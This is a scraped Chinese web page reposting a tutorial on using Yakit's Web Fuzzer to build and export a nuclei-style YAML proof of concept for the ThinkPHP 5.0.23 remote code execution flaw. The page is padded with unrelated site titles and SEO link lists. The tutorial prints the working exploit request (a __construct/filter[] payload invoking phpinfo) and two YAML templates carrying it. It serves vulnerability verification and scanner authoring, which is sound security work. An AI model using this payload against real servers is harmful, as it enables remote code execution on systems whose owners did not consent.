当前位置: 首页 > news >正文

高创园网站建设方案网络营销哪家比较专业

高创园网站建设方案,网络营销哪家比较专业,南昌地宝网出租房信息,购物平台推广如何赚钱在网络安全领域#xff0c;PoC#xff08;Proof of Concept#xff09;起着重要的作用#xff0c;并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下#xff0c;常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC#xff0c;再到实…在网络安全领域PoCProof of Concept起着重要的作用并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC再到实际调试 PoC的正确性最后才能将编写完毕的 PoC 投入批量使用在此目前流程中各个阶段之间并没有很好的关联性相互之间不能 一键 完成需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中获取method的方法中没有正确处理方法名导致攻击者可以调用Request类任意方法并构造利用链从而导致远程代码执行漏洞。 Web Fuzzer 手动验证 构造数据包 先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包 POST /index.php?scaptcha HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1上述是一个可以执行 phpinfo 的测试数据包直接发送给目标可以触发一个 phpinfo 响应。 验证响应-匹配器 除了测试数据包外还需要有与测试数据对应的 预期响应以验证漏洞是否触发。 对以此漏洞一个比较合理的判断是响应页面同时有ThinkPHP、PHP Version和PHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数触发了漏洞。 在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏 匹配器三种匹配模式丢弃保留仅匹配。 丢弃丢弃模式会在符合匹配器时下丢弃返回包。保留保留模式会在符合匹配器时保留返回包剩余的返回包则直接丢弃。仅匹配仅匹配模式会在符合匹配器时将对应的返回包染色而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色 直接来使用匹配器来匹配上述测试数据包的预期数据 点击添加匹配器在页面右下角会弹出匹配器详细设置页面 详细设置页面十分简单明了支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为AND关系在全部响应中匹配三个关键字在匹配器中即可如下设置。 点击应用匹配器即可生效。重新发送数据包会提示数据包成功匹配 至此已经完成了手动测试一个数据包以及匹配预期响应的流程在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证有了构造PoC的基础。 Web Fuzzer 自动导出 PoC PoC的作用当然不能限制在单次的手动测试中它的作用是通过提炼一个手动测试的流程来自动化验证某个漏洞上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。 在 Web Fuzzer右上角处有两个按钮分别对应直接导出 PoC和转到调试 PoC。 PoC****结构 这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC 上面的手动测试的流程被保存为如下的 PoC Yaml。 支持 Raw 和 Path 两种模式可自由选择 // Raw 模式 id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http: - raw:- |-timeout: 30sPOST /index.php?scaptcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式 id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http: - method: POSTpath:- {{RootUrl}}index.phpheaders:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: andyakit sign 此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义这是一个签名一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名包括 raw 、method、headers… 在 Yakit 插件生态中上述的 PoC 是可以作为一种插件被用户方便地使用的但是作为一个纯文本的数据很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。 在批量执行的插件的情况下也可以用通过对签名的验证来筛选出可以信赖的插件很大程度上避免了本地插件被意外修改导致验证失败的问题。 PoC****调试 PoC 显然是不能不经调试检验直接使用的在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面方便师傅们进一步调试。 调试页面可以对 Yaml PoC 插件进行测试通过测试不同的目标来验证检查其完善性。 一旁的配置调试请求栏中可以设置不同的调试目标支持域名、IP、URL。配置调试目标完成之后点击执行即可看到本次的调试流量、插件信息以及控制台输出 经过详细地调试之后在调试插件的右上角有存为插件的按钮点击即可将当前调试的 Yaml PoC 保存为插件让此 PoC 正式成为一个可以批量使用的插件。 总结 至此通过 Yakit 的导出与调试 Yaml PoC 功能我们很简便的完成了一个批量使用的 PoC 编写期间除了最开始的构造数据包部分需要人工手动测试其余阶段 Yakit 都自动化完成了。
http://www.hkea.cn/news/14449970/

相关文章:

  • 个人网站怎么写江苏金地建设工程有限公司网站
  • 怎么把自己的网站放到百度搜索上深圳模板建站代理
  • 上海小企业网站建设平台做网站用微软雅黑侵权吗
  • 网站建设技术培训学校深圳宝安区属于富人区吗
  • 已有网站备案网站数据分析平台
  • 高中做信息技术题网站优秀品牌设计案例分析
  • 泗水县城乡建设局网站wordpress 文章 图片 插件
  • 特效网站淘客网站建设要求
  • 天津企业模板建站哪个好做建材上哪个网站比较好
  • 自助建站网站seo公司保定专业网站建设公司
  • 厦门同安网站建设淘宝买cdk自己做网站
  • 云服务器怎么建立网站wordpress e-commerce themes
  • 南平网站建设购物网站开题报告
  • asp 免费网站模板逻辑网络设计报告
  • 宝山专业网站建设六安哪家公司做网站好
  • 餐饮酒店网站怎么做vue前端可视化开发工具
  • 网站不备案可以做百度竞价吗wordpress 注册邮箱
  • 猎头做单都有什么网站重庆平台网站建设多少钱
  • 重庆英文网站建设网站logo用什么来做
  • 网站设计精美案例浙里建官网登录
  • 垫江集团网站建设个人网站可以放广告吗
  • 成都私人定制旅游公司排名深度优化
  • 重庆哪里可以做网站的为网站设计手机版
  • 襄樊北京网站建设关于网站建设外文文献
  • 做教案找资料有哪些网站dz网站建设教程
  • 网站开发语言版本不同鞍山新款网站制作哪家好
  • 网站不兼容360浏览器服装设计最好的出路
  • ui设计师面试seo最新快速排名
  • 专业做网站公司怎么样网页设计师证书什么时候考
  • wordpress主题 反盗版百度怎么做关键词优化